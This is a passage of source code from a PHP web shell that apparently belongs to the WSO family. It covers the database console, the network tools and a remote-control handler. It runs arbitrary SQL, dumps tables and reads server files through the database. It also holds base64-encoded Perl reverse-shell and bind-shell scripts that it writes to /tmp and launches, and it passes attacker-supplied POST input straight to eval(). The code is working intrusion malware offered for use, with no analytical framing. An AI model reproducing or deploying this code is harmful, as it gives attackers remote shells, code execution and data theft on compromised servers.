1211 } else echo $tmp;
1212 echo "</td>
1213<td><input type=submit value='>>' onclick='fs(d.sf);'></td>
1214 <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count']) ? '' : ' checked') . "> count the number of rows</td>
1215</tr>
1216</table>
1217<script>
1218 s_db='" . @addslashes($_POST['sql_base']) . "';
1219 function fs(f) {
1220 if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
1221 if(f.p1) f.p1.value='';
1222 if(f.p2) f.p2.value='';
1223 if(f.p3) f.p3.value='';
1224 }
1225 }
1226function st(t,l) {
1227d.sf.p1.value = 'select';
1228d.sf.p2.value = t;
1229 if(l && d.sf.p3) d.sf.p3.value = l;
1230d.sf.submit();
1231}
1232function is() {
1233for(i=0;i<d.sf.elements['tbl[]'].length;++i)
1234d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
1235}
1236</script>";
1237 if (isset($db) && $db->link) {
1238 echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
1239 if (!empty($_POST['sql_base'])) {
1240 $db->selectdb($_POST['sql_base']);
1241 echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
1242 $tbls_res = $db->listTables();
1243 while ($item = $db->fetch($tbls_res)) {
1244 list($key, $value) = each($item);
1245 if (!empty($_POST['sql_count'])) $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM ' . $value . ''));
1246 $value = htmlspecialchars($value);
1247 echo "<nobr><input type='checkbox' name='tbl[]' value='" . $value . "'> <a href=# onclick=\"st('" . $value . "',1)\">" . $value . "</a>" . (empty($_POST['sql_count']) ? ' ' : " <small>({$n['n']})</small>") . "</nobr><br>";
1248 }
1249 echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
1250 if (@$_POST['p1'] == 'select') {
1251 $_POST['p1'] = 'query';
1252 $_POST['p3'] = $_POST['p3'] ? $_POST['p3'] : 1;
1253 $db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
1254 $num = $db->fetch();
1255 $pages = ceil($num['n'] / 30);
1256 echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>" . $_POST['p2'] . "</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
1257 echo " of $pages";
1258 if ($_POST['p3'] > 1) echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3'] - 1) . ")'>< Prev</a>";
1259 if ($_POST['p3'] < $pages) echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3'] + 1) . ")'>Next ></a>";
1260 $_POST['p3']--;
1261 if ($_POST['type'] == 'pgsql') $_POST['p2'] = 'SELECT * FROM ' . $_POST['p2'] . ' LIMIT 30 OFFSET ' . ($_POST['p3'] * 30);
1262 else $_POST['p2'] = 'SELECT * FROM `' . $_POST['p2'] . '` LIMIT ' . ($_POST['p3'] * 30) . ',30';
1263 echo "<br><br>";
1264 }
1265 if ((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) {
1266 $db->query(@$_POST['p2']);
1267 if ($db->res !== false) {
1268 $title = false;
1269 echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';
1270 $line = 1;
1271 while ($item = $db->fetch()) {
1272 if (!$title) {
1273 echo '<tr>';
1274 foreach ($item as $key => $value) echo '<th>' . $key . '</th>';
1275 reset($item);
1276 $title = true;
1277 echo '</tr><tr>';
1278 $line = 2;
1279 }
1280 echo '<tr class="l' . $line . '">';
1281 $line = $line == 1 ? 2 : 1;
1282 foreach ($item as $key => $value) {
1283 if ($value == null) echo '<td><i>null</i></td>';
1284 else echo '<td>' . nl2br(htmlspecialchars($value)) . '</td>';
1285 }
1286 echo '</tr>';
1287 }
1288 echo '</table>';
1289 } else {
1290 echo '<div><b>Error:</b> ' . htmlspecialchars($db->error()) . '</div>';
1291 }
1292 }
1293 echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
1294 if (!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile')) echo htmlspecialchars($_POST['p2']);
1295 echo "</textarea><br/><input type=submit value='Execute'>";
1296 echo "</td></tr>";
1297 }
1298 echo "</table></form><br/>";
1299 if ($_POST['type'] == 'mysql') {
1300 $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
1301 if ($db->fetch()) echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
1302 }
1303 if (@$_POST['p1'] == 'loadfile') {
1304 $file = $db->loadFile($_POST['p2']);
1305 echo '<br/><pre class=ml1>' . htmlspecialchars($file['file']) . '</pre>';
1306 }
1307 } else {
1308 echo htmlspecialchars($db->error());
1309 }
1310 echo '</div>';
1311 wsoFooter();
1312 }
1313 function actionNetwork() {
1314 wsoHeader();
1315 $back_connect_p = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
1316 $bind_port_p = "IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
1317 echo "<h1>Network tools</h1><div class=content>
1318<form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
1319<span>Bind port to /bin/sh [perl]</span><br/>
1320Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
1321</form>
1322<form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
1323<span>Back-connect [perl]</span><br/>
1324Server: <input type='text' name='server' value='" . $_SERVER['REMOTE_ADDR'] . "'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
1325</form><br>";
1326 if (isset($_POST['p1'])) {
1327 function cf($f, $t) {
1328 $w = @fopen($f, "w") or @function_exists('file_put_contents');
1329 if ($w) {
1330 @fwrite($w, base64_decode($t));
1331 @fclose($w);
1332 }
1333 }
1334 if ($_POST['p1'] == 'bpp') {
1335 cf("/tmp/bp.pl", $bind_port_p);
1336 $out = wsoEx("perl /tmp/bp.pl " . $_POST['p2'] . " 1>/dev/null 2>&1 &");
1337 sleep(1);
1338 echo "<pre class=ml1>$out
1339" . wsoEx("ps aux | grep bp.pl") . "</pre>";
1340 unlink("/tmp/bp.pl");
1341 }
1342 if ($_POST['p1'] == 'bcp') {
1343 cf("/tmp/bc.pl", $back_connect_p);
1344 $out = wsoEx("perl /tmp/bc.pl " . $_POST['p2'] . " " . $_POST['p3'] . " 1>/dev/null 2>&1 &");
1345 sleep(1);
1346 echo "<pre class=ml1>$out
1347" . wsoEx("ps aux | grep bc.pl") . "</pre>";
1348 unlink("/tmp/bc.pl");
1349 }
1350 }
1351 echo '</div>';
1352 wsoFooter();
1353 }
1354 function actionRC() {
1355 if (!@$_POST['p1']) {
1356 $a = array("uname" => php_uname(), "php_version" => phpversion(), "wso_version" => WSO_VERSION, "safemode" => @ini_get('safe_mode'));
1357 echo serialize($a);
1358 } else {
1359 eval($_POST['p1']);
1360 }
1361 }
1362 if (empty($_POST['a'])) if (isset($default_action) && function_exists('action' . $default_action)) $_POST['a'] = $default_action;
1363 else $_POST['a'] = 'SecInfo';
1364 if (!empty($_POST['a']) && function_exists('action' . $_POST['a'])) call_user_func('action' . $_POST['a']);
1365 exit;